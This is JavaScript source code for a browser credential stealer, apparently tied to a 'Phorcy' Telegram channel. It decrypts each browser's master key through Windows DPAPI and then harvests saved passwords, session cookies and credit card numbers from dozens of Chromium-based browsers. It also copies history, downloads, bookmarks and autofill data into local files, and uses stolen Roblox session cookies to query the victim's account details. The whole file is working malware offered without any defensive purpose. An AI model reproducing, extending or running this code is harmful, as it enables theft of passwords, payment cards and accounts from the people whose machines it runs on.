const fs = require('fs');
const sqlite3 = require('sqlite3').verbose();
const crypto = require('crypto')
const path = require('path')
const dpapi = require('./node-dpapi');
const axios = require('axios');

class BrowserStealing {
    constructor() {
        this.local = process.env.LOCALAPPDATA
        this.roaming = process.env.APPDATA
        this.phorcyDir = path.join(this.roaming, 'Phorcy');
        //this.browserPaths = [path.join(this.local, 'Google', 'Chrome', 'User Data'), path.join(this.local, 'Thorium', 'User Data')];
        this.browserPaths = [
            path.join(this.local, 'Opera Software', 'Opera Neon', 'User Data', 'Default'),
            path.join(this.local, 'Opera Software', 'Opera Stable'),
            path.join(this.local, 'Opera Software', 'Opera GX Stable'),
            path.join(this.local, 'Amigo', 'User Data'),
            path.join(this.local, 'Torch', 'User Data'),
            path.join(this.local, 'Kometa', 'User Data'),
            path.join(this.local, 'Orbitum', 'User Data'),
            path.join(this.local, 'CentBrowser', 'User Data'),
            path.join(this.local, '7Star', '7Star', 'User Data'),
            path.join(this.local, 'Sputnik', 'Sputnik', 'User Data'),
            path.join(this.local, 'Vivaldi', 'User Data'),
            path.join(this.local, 'Google', 'Chrome SxS', 'User Data'),
            path.join(this.local, 'Google', 'Chrome', 'User Data'),
            path.join(this.local, 'Epic Privacy Browser', 'User Data'),
            path.join(this.local, 'Microsoft', 'Edge', 'User Data'),
            path.join(this.local, 'uCozMedia', 'Uran', 'User Data'),
            path.join(this.local, 'Yandex', 'YandexBrowser', 'User Data'),
            path.join(this.local, 'BraveSoftware', 'Brave-Browser', 'User Data'),
            path.join(this.local, 'Iridium', 'User Data'),
            path.join(this.local, 'Google', 'Chrome Beta', 'User Data'),
            path.join(this.local, 'Google', 'Chrome SxS', 'User Data'),
            path.join(this.local, 'Slimjet', 'User Data'),
            path.join(this.local, 'Maxthon3', 'User Data'),
            path.join(this.local, 'Thorium', 'User Data'),
            path.join(this.local, 'AVAST Software', 'Avast Secure Browser', 'User Data'),
            path.join(this.local, '8pecxstudios', 'Cyberfox', 'User Data'),
            path.join(this.local, 'Waterfox', 'Profiles'),
            path.join(this.local, 'Moonchild Productions', 'Pale Moon', 'Profiles'),
            path.join(this.local, 'Comodo', 'Dragon', 'User Data'),
            path.join(this.local, 'Coowon', 'User Data'),
            path.join(this.local, 'GNU', 'IceCat', 'Profiles'),
            path.join(this.local, 'Moonchild Productions', 'Basilisk', 'Profiles'),
            path.join(this.local, 'Otter', 'Browser', 'User Data'),
            path.join(this.local, 'WebDir', 'Opium', 'User Data'),
            path.join(this.local, 'Comodo', 'Chromodo', 'User Data'),
            path.join(this.local, 'Yandex', 'YandexBrowserBeta', 'User Data'),
            path.join(this.local, 'SRWare Iron', 'User Data'),
            path.join(this.local, 'Otter', 'Browser', 'User Data'),
            path.join(this.local, 'Coowon', 'User Data'),
            path.join(this.local, 'qutebrowser'),
            path.join(this.local, 'Microsoft', 'Edge SxS', 'User Data'),
            path.join(this.local, 'VivaldiSnapshot', 'User Data'),
            path.join(this.local, 'Otter', 'Browser', 'User Data'),
            path.join(this.local, 'Coowon', 'User Data'),
            path.join(this.local, 'qutebrowser'),
            path.join(this.local, 'Microsoft', 'Edge SxS', 'User Data'),
            path.join(this.local, 'VivaldiSnapshot', 'User Data'),
        ];
        this.browserProfiles = ['Default', 'Profile 1', 'Profile 2', 'Profile 3', 'Profile 4', 'Profile 5'];
        this.tempDir = path.join(this.local, 'Temp');

        //this.password_command = 'SELECT action_url, username_value, password_value FROM logins;';
        this.password_command = 'SELECT * FROM logins;';
        this.cookie_command = 'SELECT * FROM cookies;';
        this.cc_command = 'SELECT * FROM credit_cards;';
        this.history_command = 'SELECT * FROM urls;';
        this.downloads_command = 'SELECT * FROM downloads;';
        this.autofill_command = 'SELECT * FROM autofill;';

        this.passwordFile = path.join(this.phorcyDir, 'browser_passwords.txt');
        this.cookieFile = path.join(this.phorcyDir, 'browser_cookies.txt');
        this.ccFile = path.join(this.phorcyDir, 'browser_creditcards.txt');
        this.historyFile = path.join(this.phorcyDir, 'browser_history.txt');
        this.downloadsFile = path.join(this.phorcyDir, 'browser_downloads.txt');
        this.bookmarkFile = path.join(this.phorcyDir, 'browser_bookmarks.txt');
        this.autofillFile = path.join(this.phorcyDir, 'browser_autofill.txt');
        this.robloxFile = path.join(this.phorcyDir, 'roblox_cookies.txt');
        
        this.password_count = 0;
        this.cookie_count = 0;
        this.cc_count = 0;
        this.history_count = 0;
        this.downloads_count = 0;
        this.bookmark_count = 0;
        this.autofill_count = 0;
        this.roblox_count = 0;
    }

    generateRandomString() {
        const randomCharacter = () => Math.random().toString(36).substring(2, 3).toUpperCase();
        return `${randomCharacter()}${randomCharacter()}${Math.random().toString(36).substring(2, 7).toUpperCase()}-${randomCharacter()}${randomCharacter()}${Math.random().toString(36).substring(2, 7).toUpperCase()}-${randomCharacter()}${randomCharacter()}${Math.random().toString(36).substring(2, 7).toUpperCase()}`;
    }

    getDate(value) {
        const date = new Date(value / 1000);
        return date;
    }

    decipher(masterKey, value) {
        let first = value.slice(3, 15),
            middle = value.slice(15, value.length - 16),
            end = value.slice(value.length - 16, value.length);
    
        let decipher = crypto.createDecipheriv("aes-256-gcm", masterKey, first);
        decipher.setAuthTag(end);
    
        let decrypted = decipher.update(middle, "base64", "utf-8") + decipher.final("utf-8");
    
        return decrypted;
    }

    fileExists(filePath) {
        try {
            fs.accessSync(filePath, fs.constants.F_OK);
            return true;
        } catch (err) {
            return false;
        }
    }

    async getKey(local_stateFile, callback) {
        fs.readFile(local_stateFile, 'utf8', (err, data) => {
            if (err) {
                console.error(err);
                return;
            }

            const encryptedKey = Buffer.from(JSON.parse(data).os_crypt.encrypted_key, 'base64').slice(5);

            const decryptedKey = dpapi.unprotectData(encryptedKey, null, "CurrentUser");

            console.log('Decryption Key:', decryptedKey);

            //return decryptedKey;
            callback(null, decryptedKey);
        });
    }

    async getPassword(loginFile, masterKey) {
        const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`);

        fs.copyFile(loginFile, tempFile, (err) => {
            if (err) {
                console.error(err);
            }

            const db = new sqlite3.Database(tempFile, sqlite3.OPEN_READWRITE, (err) => {
                if (err) {
                    console.error(err);
                    return;
                }

                db.all(this.password_command, (err, rows) => {
                    if (err) {
                        console.error(err);
                    } else {
                        rows.map(row => {
                            //console.log(row);
                            if (row && row['password_value']) {
                                this.password_count++;
                                try {
                                    //const passwordList = `${masterKey.toString('hex')}\t${row['origin_url']}\t${row['action_url']}\t${row['username_element']}\t${row['username_value']}\t${row['password_element']}\t${this.decipher(masterKey, row['password_value'])}\t${row['submit_element']}\t${row['signon_realm']}\t${this.getDate(parseInt(row['date_created']))}\t${row['blacklisted_by_user']}\t${row['scheme']}\t${row['password_type']}\t${row['times_used']}\t${row['form_data']}\t${row['display_name']}\t${row['icon_url']}\t${row['federation_url']}\t${row['skip_zero_click']}\t${row['generation_upload_status']}\t${row['possible_username_pairs']}\t${row['id']}\t${row[21]}\t${this.getDate(parseInt(row['date_last_used']))}\t${row['moving_blocked_for']}\t${this.getDate(parseInt(row['date_password_modified']))}\t${row['sender_email']}\t${row['sender_name']}\t${row['date_received']}\t${row['sharing_notification_displayed']}\t${row['keychain_identifier']}\n`;
                                    const passwordList = `Master Key: ${masterKey.toString('hex')}\nOrigin URL: ${row['origin_url']}\nAction URL: ${row['action_url']}\nUsername Element: ${row['username_element']}\nUsername Value: ${row['username_value']}\nPassword Element: ${row['password_element']}\nDeciphered Password: ${this.decipher(masterKey, row['password_value'])}\nSubmit Element: ${row['submit_element']}\nSignon Realm: ${row['signon_realm']}\nDate Created: ${this.getDate(parseInt(row['date_created']))}\nBlacklisted by User: ${row['blacklisted_by_user']}\nScheme: ${row['scheme']}\nPassword Type: ${row['password_type']}\nTimes Used: ${row['times_used']}\nForm Data: ${row['form_data']}\nDisplay Name: ${row['display_name']}\nIcon URL: ${row['icon_url']}\nFederation URL: ${row['federation_url']}\nSkip Zero Click: ${row['skip_zero_click']}\nGeneration Upload Status: ${row['generation_upload_status']}\nPossible Username Pairs: ${row['possible_username_pairs']}\nID: ${row['id']}\nRow 21: ${row[21]}\nDate Last Used: ${this.getDate(parseInt(row['date_last_used']))}\nMoving Blocked For: ${row['moving_blocked_for']}\nDate Password Modified: ${this.getDate(parseInt(row['date_password_modified']))}\nSender Email: ${row['sender_email']}\nSender Name: ${row['sender_name']}\nDate Received: ${row['date_received']}\nSharing Notification Displayed: ${row['sharing_notification_displayed']}\nKeychain Identifier: ${row['keychain_identifier']}\n\n`;
                                    fs.writeFileSync(this.passwordFile, passwordList, { flag: 'a' });
                                } catch (err) {
                                    console.error(err);
                                }
                            }
                        });
                    }
                    db.close((err) => {
                        if (err) {
                            console.error(err);
                        }
                    });
                    console.log('Password count:', this.password_count)
                });
            });
        });

        if (this.fileExists(tempFile)) {
            fs.unlink(tempFile, (err) => {
                if (err) {
                    console.error(err);
                }
            });
        }
    };

    async getCookie(cookieFile, masterKey) {
        const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`);

        fs.copyFile(cookieFile, tempFile, (err) => {
            if (err) {
                console.error(err);
            }

            const db = new sqlite3.Database(tempFile, sqlite3.OPEN_READWRITE, (err) => {
                if (err) {
                    console.error(err);
                    return;
                }

                db.all(this.cookie_command, (err, rows) => {
                    if (err) {
                        console.error(err);
                    } else {
                        rows.map(row => {
                            //console.log(row);
                            if (row && row['encrypted_value']) {
                                this.cookie_count++;
                                try {
                                    //const cookieList = `${masterKey.toString('hex')}\t${this.getDate(parseInt(row['creation_utc']))}\t${row['host_key']}\t${row['top_frame_site_key']}\t${row['name']}\t${row['value']}\t${this.decipher(masterKey, row['encrypted_value'])}\t${row['path']}\t${this.getDate(parseInt(row['expires_utc']))}\t${row['is_secure']}\t${row['is_httponly']}\t${this.getDate(parseInt(row['last_access_utc']))}\t${row['has_expires']}\t${row['is_persistent']}\t${row['priority']}\t${row['samesite']}\t${row['source_scheme']}\t${row['source_port']}\t${row['is_same_party']}\t${this.getDate(parseInt(row['last_update_utc']))}\n`;
                                    const cookieList = `Master Key: ${masterKey.toString('hex')}\nCreation UTC: ${this.getDate(parseInt(row['creation_utc']))}\nHost Key: ${row['host_key']}\nTop Frame Site Key: ${row['top_frame_site_key']}\nName: ${row['name']}\nValue: ${row['value']}\nDeciphered Encrypted Value: ${this.decipher(masterKey, row['encrypted_value'])}\nPath: ${row['path']}\nExpires UTC: ${this.getDate(parseInt(row['expires_utc']))}\nIs Secure: ${row['is_secure']}\nIs HttpOnly: ${row['is_httponly']}\nLast Access UTC: ${this.getDate(parseInt(row['last_access_utc']))}\nHas Expires: ${row['has_expires']}\nIs Persistent: ${row['is_persistent']}\nPriority: ${row['priority']}\nSameSite: ${row['samesite']}\nSource Scheme: ${row['source_scheme']}\nSource Port: ${row['source_port']}\nIs Same Party: ${row['is_same_party']}\nLast Update UTC: ${this.getDate(parseInt(row['last_update_utc']))}\n\n`;
                                    fs.writeFileSync(this.cookieFile, cookieList, { flag: 'a' });
                                    if ('.ROBLOSECURITY' === row.name.toString()) {
                                        this.roblox_count++;
                                        const robloSecurityo = this.decipher(masterKey, row['encrypted_value'])
                                        //console.log(robloSecurityo);
                                        let headers = {
                                            'cookie': `.ROBLOSECURITY=${robloSecurityo};`,
                                        }

                                        axios.get("https://www.roblox.com/mobileapi/userinfo", { headers })
                                          .then(response => {
                                              //console.log(response.data);
                                              if (response.data) {
                                                  //let robloxData = `${masterKey.toString('hex')}\t${response.data['username']}\t${response.data['userid']}\t${response.data['robuxbalance']}\t${response.data['ispremium']}\t${robloSecurityo}\n`;
                                                  let robloxData = `Master Key: ${masterKey.toString('hex')}\nUsername: ${response.data['username']}\nUser ID: ${response.data['userid']}\nRobux Balance: ${response.data['robuxbalance']}\nIs Premium: ${response.data['ispremium']}\nRoblox Security: ${robloSecurityo}\n\n`;
                                                  fs.writeFileSync(this.robloxFile, robloxData, { flag: 'a' });
                                              }
                                          })
                                          .catch(err => {
                                              console.error(err);
                                          });
                                    }
                                } catch (err) {
                                    console.error(err);
                                }
                            }
                        });
                    }
                    db.close((err) => {
                        if (err) {
                            console.error(err);
                        }
                    });
                    console.log('Cookie count:', this.cookie_count);
                    console.log('Roblox count:', this.roblox_count);
                });
            });
        });

        if (this.fileExists(tempFile)) {
            fs.unlink(tempFile, (err) => {
                if (err) {
                    console.error(err);
                }
            });
        }
    };

    async getCreditCard(ccFile, masterKey) {
        const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`);

        fs.copyFile(ccFile, tempFile, (err) => {
            if (err) {
                console.error(err);
            }

            const db = new sqlite3.Database(tempFile, sqlite3.OPEN_READWRITE, (err) => {
                if (err) {
                    console.error(err);
                    return;
                }

                db.all(this.cc_command, (err, rows) => {
                    if (err) {
                        console.error(err);
                    } else {
                        rows.map(row => {
                            //console.log(row);
                            if (row && row['card_number_encrypted']) {
                                this.cc_count++;
                                try {
                                    //const ccList = `${masterKey.toString('hex')}\t${row['guid']}\t${row['name_on_card']}\t${row['expiration_month']}/${row['expiration_year']}\t${this.decipher(masterKey, row['card_number_encrypted'])}\t${this.getDate(parseInt(row['date_modified']))}\t${row['origin']}\t${row['use_count']}\t${this.getDate(parseInt(row['use_date']))}\t${row['billing_adress_id']}\t${row['nickname']}\n`;
                                    const ccList = `Master Key: ${masterKey.toString('hex')}\nGUID: ${row['guid']}\nName on Card: ${row['name_on_card']}\nExpiration Date: ${row['expiration_month']}/${row['expiration_year']}\nDeciphered Card Number: ${this.decipher(masterKey, row['card_number_encrypted'])}\nDate Modified: ${this.getDate(parseInt(row['date_modified']))}\nOrigin: ${row['origin']}\nUse Count: ${row['use_count']}\nUse Date: ${this.getDate(parseInt(row['use_date']))}\nBilling Address ID: ${row['billing_adress_id']}\nNickname: ${row['nickname']}\n\n`;
                                    fs.writeFileSync(this.ccFile, ccList, { flag: 'a' });
                                } catch (err) {
                                    console.error(err);
                                }
                            }
                        });
                    }
                    db.close((err) => {
                        if (err) {
                            console.error(err);
                        }
                    });
                    console.log('Credit Card count:', this.cc_count)
                });
            });
        });

        if (this.fileExists(tempFile)) {
            fs.unlink(tempFile, (err) => {
                if (err) {
                    console.error(err);
                }
            });
        }
    };

    async getHistory(historyFile) {
        const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`);

        fs.copyFile(historyFile, tempFile, (err) => {
            if (err) {
                console.error(err);
            }

            const db = new sqlite3.Database(tempFile, sqlite3.OPEN_READWRITE, (err) => {
                if (err) {
                    console.error(err);
                    return;
                }

                db.all(this.history_command, (err, rows) => {
                    if (err) {
                        console.error(err);
                    } else {
                        rows.map(row => {
                            //console.log(row);
                            if (row && row['url']) {
                                this.history_count++;
                                try {
                                    //const historyList = `${row['id']}\t${row['url']}\t${row['title']}\t${row['visit_count']}\t${row['typed_count']}\t${this.getDate(parseInt(row['last_visit_time']))}\t${row['hidden']}\n`;
                                    const historyList = `ID: ${row['id']}\nURL: ${row['url']}\nTitle: ${row['title']}\nVisit Count: ${row['visit_count']}\nTyped Count: ${row['typed_count']}\nLast Visit Time: ${this.getDate(parseInt(row['last_visit_time']))}\nHidden: ${row['hidden']}\n\n`;
                                    fs.writeFileSync(this.historyFile, historyList, { flag: 'a' });
                                } catch (err) {
                                    console.error(err);
                                }
                            }
                        });
                    }
                    db.close((err) => {
                        if (err) {
                            console.error(err);
                        }
                    });
                    console.log('History count:', this.history_count)
                });
            });
        });

        if (this.fileExists(tempFile)) {
            fs.unlink(tempFile, (err) => {
                if (err) {
                    console.error(err);
                }
            });
        }
    };

    async getDownload(downloadFile) {
        const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`);

        fs.copyFile(downloadFile, tempFile, (err) => {
            if (err) {
                console.error(err);
            }

            const db = new sqlite3.Database(tempFile, sqlite3.OPEN_READWRITE, (err) => {
                if (err) {
                    console.error(err);
                    return;
                }

                db.all(this.downloads_command, (err, rows) => {
                    if (err) {
                        console.error(err);
                    } else {
                        rows.map(row => {
                            //console.log(row);
                            if (row && row['tab_url']) {
                                this.downloads_count++;
                                try {
                                    //const downloadsList = `${row['id']}\t${row['guid']}\t${row['current_path']}\t${row['target_path']}\t${this.getDate(parseInt(row['start_time']))}\t${row['received_bytes']}\t${row['total_bytes']}\t${row['state']}\t${row['danger_type']}\t${row['interrupt_reason']}\t${row['hash']}\t${row[this.getDate(parseInt(row['end_time']))]}\t${row['opened']}\t${this.getDate(parseInt(row['last_access_time']))}\t${row['transient']}\t${row['referrer']}\t${row['site_url']}\t${row['embedder_download_data']}\t${row['tab_url']}\t${row['tab_referrer_url']}\t${row['http_method']}\t${row['by_ext_id']}\t${row['by_ext_name']}\t${row['by_web_app_id']}\t${row['etag']}\t${row['last_modified']}\t${row['mime_type']}\t${row['original_mime_type']}\n`;
                                    const downloadsList = `ID: ${row['id']}\nGUID: ${row['guid']}\nCurrent Path: ${row['current_path']}\nTarget Path: ${row['target_path']}\nStart Time: ${this.getDate(parseInt(row['start_time']))}\nReceived Bytes: ${row['received_bytes']}\nTotal Bytes: ${row['total_bytes']}\nState: ${row['state']}\nDanger Type: ${row['danger_type']}\nInterrupt Reason: ${row['interrupt_reason']}\nHash: ${row['hash']}\nEnd Time: ${this.getDate(parseInt(row['end_time']))}\nOpened: ${row['opened']}\nLast Access Time: ${this.getDate(parseInt(row['last_access_time']))}\nTransient: ${row['transient']}\nReferrer: ${row['referrer']}\nSite URL: ${row['site_url']}\nEmbedder Download Data: ${row['embedder_download_data']}\nTab URL: ${row['tab_url']}\nTab Referrer URL: ${row['tab_referrer_url']}\nHTTP Method: ${row['http_method']}\nBy Extension ID: ${row['by_ext_id']}\nBy Extension Name: ${row['by_ext_name']}\nBy Web App ID: ${row['by_web_app_id']}\nETag: ${row['etag']}\nLast Modified: ${row['last_modified']}\nMIME Type: ${row['mime_type']}\nOriginal MIME Type: ${row['original_mime_type']}\n\n`;
                                    fs.writeFileSync(this.downloadsFile, downloadsList, { flag: 'a' });
                                } catch (err) {
                                    console.error(err);
                                }
                            }
                        });
                    }
                    db.close((err) => {
                        if (err) {
                            console.error(err);
                        }
                    });
                    console.log('Downloads count:', this.downloads_count)
                });
            });
        });

        if (this.fileExists(tempFile)) {
            fs.unlink(tempFile, (err) => {
                if (err) {
                    console.error(err);
                }
            });
        }
    };

    async getBookmark(bookmarkFile) {
        const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`);

        fs.copyFile(bookmarkFile, tempFile, (err) => {
            if (err) {
                console.error(err);
            }

            fs.readFile(tempFile, 'utf8', (err, data) => {
                if (err) {
                    console.error(err);
                    return;
                }
                let bookmarks = JSON.parse(data).roots.other.children;
                //console.log(bookmarks);
                try {
                    for (const item of bookmarks) {
                        //const bookmarkList = `${this.getDate(parseInt(item['date_added']))}\t${this.getDate(parseInt(item['date_last_used']))}\t${item['guid']}\t${item['id']}\t${item['meta_info']}\t${item['name']}\t${item['type']}\t${item['url']}\n`;
                        const bookmarkList = `Date Added: ${this.getDate(parseInt(item['date_added']))}\nDate Last Used: ${this.getDate(parseInt(item['date_last_used']))}\nGUID: ${item['guid']}\nID: ${item['id']}\nMeta Info: ${item['meta_info']}\nName: ${item['name']}\nType: ${item['type']}\nURL: ${item['url']}\n\n`;
                        fs.writeFileSync(this.bookmarkFile, bookmarkList, { flag: 'a' });
                        this.bookmark_count++;
                      }
                } catch (err) {
                    console.error(err);
                }
                console.log('Bookmark count:', this.bookmark_count)
            });
        });

        if (this.fileExists(tempFile)) {
            fs.unlink(tempFile, (err) => {
                if (err) {
                    console.error(err);
                }
            });
        }
    };

    async getAutofill(autofillFile) {
        const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`);

        fs.copyFile(autofillFile, tempFile, (err) => {
            if (err) {
                console.error(err);
            }

            const db = new sqlite3.Database(tempFile, sqlite3.OPEN_READWRITE, (err) => {
                if (err) {
                    console.error(err);
                    return;
                }

                db.all(this.autofill_command, (err, rows) => {
                    if (err) {
                        console.error(err);
                    } else {
                        rows.map(row => {
                            //console.log(row);
                            if (row && row['value']) {
                                this.autofill_count++;
                                try {
                                    //const autofillList = `${row['name']}\t${row['value']}\t${row['value_lower']}\t${this.getDate(parseInt(row['date_created']))}\t${this.getDate(parseInt(row['date_last_used']))}\t${row['count']}\n`;
                                    const autofillList = `Name: ${row['name']}\nValue: ${row['value']}\nLowercase Value: ${row['value_lower']}\nDate Created: ${this.getDate(parseInt(row['date_created']))}\nDate Last Used: ${this.getDate(parseInt(row['date_last_used']))}\nCount: ${row['count']}\n\n`;
                                    fs.writeFileSync(this.autofillFile, autofillList, { flag: 'a' });
                                } catch (err) {
                                    console.error(err);
                                }
                            }
                        });
                    }
                    db.close((err) => {
                        if (err) {
                            console.error(err);
                        }
                    });
                    console.log('Autofill count:', this.autofill_count)
                });
            });
        });

        if (this.fileExists(tempFile)) {
            fs.unlink(tempFile, (err) => {
                if (err) {
                    console.error(err);
                }
            });
        }
    };

    async Main() {
        // dir preparation
        if (!this.fileExists(this.phorcyDir)) {
            try {
                fs.mkdirSync(this.phorcyDir);
            } catch (err) {
                console.error(err);
            }
        }
        
        // password, cookie, cc grabber
        fs.writeFileSync(this.passwordFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' });
        fs.writeFileSync(this.robloxFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' });
        fs.writeFileSync(this.cookieFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' });
        fs.writeFileSync(this.ccFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' });
        for (const browserPath of this.browserPaths) {
            if (this.fileExists(browserPath)) {
                const localState = path.join(browserPath, 'Local State');
                if (this.fileExists(localState)) {
                    for (const profile of this.browserProfiles) {
                        const passwordFile = path.join(browserPath, profile, 'Login Data');
                        if (this.fileExists(passwordFile)) {
                            try {
                                this.getKey(localState, async (err, key) => {
                                    if (err) {
                                        console.error(err);
                                    } else {
                                        await this.getPassword(passwordFile, key);
                                    }
                                });
                            } catch (err) {
                                console.error(err);
                            }
                        }
                        const cookieFile = path.join(browserPath, profile, 'Network', 'Cookies');
                        if (this.fileExists(cookieFile)) {
                            try {
                                this.getKey(localState, async (err, key) => {
                                    if (err) {
                                        console.error(err);
                                    } else {
                                        await this.getCookie(cookieFile, key);
                                    }
                                });
                            } catch (err) {
                                console.error(err);
                            }
                        }
                        const ccFile = path.join(browserPath, profile, 'Web Data');
                        if (this.fileExists(ccFile)) {
                            try {
                                this.getKey(localState, async (err, key) => {
                                    if (err) {
                                        console.error(err);
                                    } else {
                                        await this.getCreditCard(ccFile, key);
                                    }
                                });
                            } catch (err) {
                                console.error(err);
                            }
                        }
                    }
                }
            }
        }

        // history, downloads, bookmark, autofill grabber
        fs.writeFileSync(this.historyFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' });
        fs.writeFileSync(this.downloadsFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' });
        fs.writeFileSync(this.bookmarkFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' });
        fs.writeFileSync(this.autofillFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' });
        for (const browserPath of this.browserPaths) {
            if (this.fileExists(browserPath)) {
                for (const profile of this.browserProfiles) {
                    const historyFile = path.join(browserPath, profile, 'History');
                    if (this.fileExists(historyFile)) {
                        try {
                            await this.getHistory(historyFile);
                        } catch (err) {
                            console.error(err);
                        }
                    }
                    const downloadsFile = path.join(browserPath, profile, 'History');
                    if (this.fileExists(downloadsFile)) {
                        try {
                            await this.getDownload(downloadsFile);
                        } catch (err) {
                            console.error(err);
                        }
                    }
                    const bookmarkFile = path.join(browserPath, profile, 'Bookmarks');
                    if (this.fileExists(bookmarkFile)) {
                        try {
                            await this.getBookmark(bookmarkFile);
                        } catch (err) {
                            console.error(err);
                        }
                    }
                    const autofillFile = path.join(browserPath, profile, 'Web Data');
                    if (this.fileExists(autofillFile)) {
                        try {
                            await this.getAutofill(autofillFile);
                        } catch (err) {
                            console.error(err);
                        }
                    }
                }
            }
        }
    }
}

const browserStealer = new BrowserStealing()
browserStealer.Main()
console.log('Hello, World!')
